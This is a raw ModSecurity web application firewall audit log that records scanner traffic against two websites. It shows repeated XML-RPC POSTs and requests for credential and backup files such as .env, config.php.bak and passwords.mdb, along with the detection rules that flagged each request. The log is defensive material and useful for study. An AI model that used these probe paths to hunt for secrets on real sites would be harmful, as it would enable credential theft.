proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031798533103 644880 (- - -) Stopwatch2: 1750031798533103 644880; combined=1728, p1=365, p2=1269, p3=0, p4=0, p5=94, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6083f57-Z-- --0a724f06-A-- [16/Jun/2025:05:27:12.021807 +0530] aE9d16pdvXW4_hknQUUxCwAAAAo 128.199.112.101 37680 127.0.0.1 7081 --0a724f06-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0a724f06-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0a724f06-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9d16pdvXW4_hknQUUxCwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031831068669 953195 (- - -) Stopwatch2: 1750031831068669 953195; combined=2582, p1=471, p2=1743, p3=42, p4=55, p5=169, sr=119, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a724f06-Z-- --9802bc78-A-- [16/Jun/2025:05:27:35.654254 +0530] aE9d7lEBvmqd8j7Fed2oKgAAABM 185.177.72.210 37848 127.0.0.1 7081 --9802bc78-B-- GET /alpha/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9802bc78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0be76ac1e4d54366d51e05f21c9505a1750031855; expires=Mon, 16 Jun 2025 00:57:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9802bc78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/alpha/.env"] [unique_id "aE9d7lEBvmqd8j7Fed2oKgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031854959339 694974 (- - -) Stopwatch2: 1750031854959339 694974; combined=1761, p1=354, p2=1341, p3=0, p4=0, p5=65, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9802bc78-Z-- --cc3aa156-A-- [16/Jun/2025:05:27:41.550693 +0530] aE9d9KpdvXW4_hknQUUxGwAAAAo 185.177.72.210 44746 127.0.0.1 7081 --cc3aa156-B-- GET /.stestr.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc3aa156-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=50da12e87aa29315580a20eeca967df51750031861; expires=Mon, 16 Jun 2025 00:57:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc3aa156-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".stestr.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".stestr.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.stestr.conf"] [unique_id "aE9d9KpdvXW4_hknQUUxGwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031860889497 661275 (- - -) Stopwatch2: 1750031860889497 661275; combined=2246, p1=380, p2=1766, p3=0, p4=0, p5=99, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc3aa156-Z-- --4cf1001c-A-- [16/Jun/2025:05:28:12.208334 +0530] aE9eE_bo0R64L12N_alQwgAAAAQ 128.199.112.101 35262 127.0.0.1 7081 --4cf1001c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4cf1001c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4cf1001c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9eE_bo0R64L12N_alQwgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031891248126 960284 (- - -) Stopwatch2: 1750031891248126 960284; combined=2333, p1=426, p2=1471, p3=52, p4=62, p5=202, sr=131, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4cf1001c-Z-- --24579947-A-- [16/Jun/2025:05:29:04.383283 +0530] aE9eR_thHqQhfrOWofuKpAAAAAA 185.177.72.210 39598 127.0.0.1 7081 --24579947-B-- GET /old/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24579947-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f053ed7f26ad711ea095e8088cd2f00f1750031944; expires=Mon, 16 Jun 2025 00:59:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24579947-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/old/config.php.bak"] [unique_id "aE9eR_thHqQhfrOWofuKpAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031943551934 831413 (- - -) Stopwatch2: 1750031943551934 831413; combined=2200, p1=411, p2=1689, p3=0, p4=0, p5=99, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24579947-Z-- --84a35a2e-A-- [16/Jun/2025:05:29:13.004272 +0530] aE9eUPbo0R64L12N_alQ4wAAAAQ 128.199.112.101 59064 127.0.0.1 7081 --84a35a2e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --84a35a2e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --84a35a2e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9eUPbo0R64L12N_alQ4wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031952079531 924797 (- - -) Stopwatch2: 1750031952079531 924797; combined=2258, p1=371, p2=1526, p3=46, p4=58, p5=160, sr=107, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84a35a2e-Z-- --5567313e-A-- [16/Jun/2025:05:29:14.105087 +0530] aE9eUdNEcm-DhAkC0ibYbQAAAAY 185.177.72.210 59130 127.0.0.1 7081 --5567313e-B-- GET /passwords.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5567313e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cb4b6a664fc34fa67b8977915f0dcded1750031953; expires=Mon, 16 Jun 2025 00:59:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5567313e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/passwords.mdb"] [unique_id "aE9eUdNEcm-DhAkC0ibYbQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031953417202 687948 (- - -) Stopwatch2: 1750031953417202 687948; combined=1636, p1=310, p2=1240, p3=0, p4=0, p5=86, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5567313e-Z-- --69acd820-A-- [16/Jun/2025:05:29:18.079028 +0530] aE9eVT_3U3BzRxhKqeklqQAAAAM 185.177.72.210 59474 127.0.0.1 7081 --69acd820-B-- GET /:8880/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69acd820-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9afdfcd55f4ce2db56dce21a037b57411750031957; expires=Mon, 16 Jun 2025 00:59:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69acd820-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/configurationtionura/.env"] [unique_id "aE9eVT_3U3BzRxhKqeklqQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031957355910 723194 (- - -) Stopwatch2: 1750031957355910 723194; combined=2040, p1=466, p2=1482, p3=0, p4=0, p5=92, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69acd820-Z-- --2c567e22-A-- [16/Jun/2025:05:29:20.175038 +0530] aE9eV_thHqQhfrOWofuKrQAAAAA 185.177.72.210 33538 127.0.0.1 7081 --2c567e22-B-- GET /:9000/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c567e22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc322795e3dfa53533b0eea1b2a79e071750031960; expires=Mon, 16 Jun 2025 00:59:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c567e22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/demo/.env"] [unique_id "aE9eV_thHqQhfrOWofuKrQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031959495656 679446 (- - -) Stopwatch2: 1750031959495656 679446; combined=1778, p1=395, p2=1269, p3=0, p4=0, p5=114, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c567e22-Z-- --3ea5437d-A-- [16/Jun/2025:05:29:41.632772 +0530] aE9ebD_3U3BzRxhKqekltAAAAAM 185.177.72.210 60372 127.0.0.1 7081 --3ea5437d-B-- GET /:8181/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ea5437d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9dd3fed815899524d00ae03839b62c61750031981; expires=Mon, 16 Jun 2025 00:59:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ea5437d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/api/.env.local"] [unique_id "aE9ebD_3U3BzRxhKqekltAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031980863950 768885 (- - -) Stopwatch2: 1750031980863950 768885; combined=1698, p1=409, p2=1200, p3=0, p4=0, p5=88, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ea5437d-Z-- --21ed4d4f-A-- [16/Jun/2025:05:30:05.435487 +0530] aE9ehPthHqQhfrOWofuKwAAAAAA 185.177.72.210 55546 127.0.0.1 7081 --21ed4d4f-B-- GET /:8080/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21ed4d4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=294e645431c701aa57f8f6fd7eb810291750032005; expires=Mon, 16 Jun 2025 01:00:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21ed4d4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/vendor/.env"] [unique_id "aE9ehPthHqQhfrOWofuKwAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032004628152 807434 (- - -) Stopwatch2: 1750032004628152 807434; combined=2663, p1=450, p2=2056, p3=0, p4=0, p5=156, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21ed4d4f-Z-- --c201a055-A-- [16/Jun/2025:05:30:12.555872 +0530] aE9ei1EBvmqd8j7Fed2ocwAAABM 185.177.72.210 39210 127.0.0.1 7081 --c201a055-B-- GET /:10000/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c201a055-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81af4317d8d1d41c282f9fdafaf8a7111750032012; expires=Mon, 16 Jun 2025 01:00:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c201a055-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/audio/.env"] [unique_id "aE9ei1EBvmqd8j7Fed2ocwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032011844607 711342 (- - -) Stopwatch2: 1750032011844607 711342; combined=2191, p1=392, p2=1694, p3=0, p4=0, p5=104, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c201a055-Z-- --0f4d740d-A-- [16/Jun/2025:05:30:13.752763 +0530] aE9ejNNEcm-DhAkC0ibYiwAAAAY 128.199.112.101 39322 127.0.0.1 7081 --0f4d740d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0f4d740d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0f4d740d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ejNNEcm-DhAkC0ibYiwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032012770841 981978 (- - -) Stopwatch2: 1750032012770841 981978; combined=2254, p1=353, p2=1429, p3=63, p4=77, p5=208, sr=81, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f4d740d-Z-- --71f68a0a-A-- [16/Jun/2025:05:30:16.739074 +0530] aE9ekNNEcm-DhAkC0ibYjQAAAAY 185.177.72.210 39522 127.0.0.1 7081 --71f68a0a-B-- GET /:8000/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 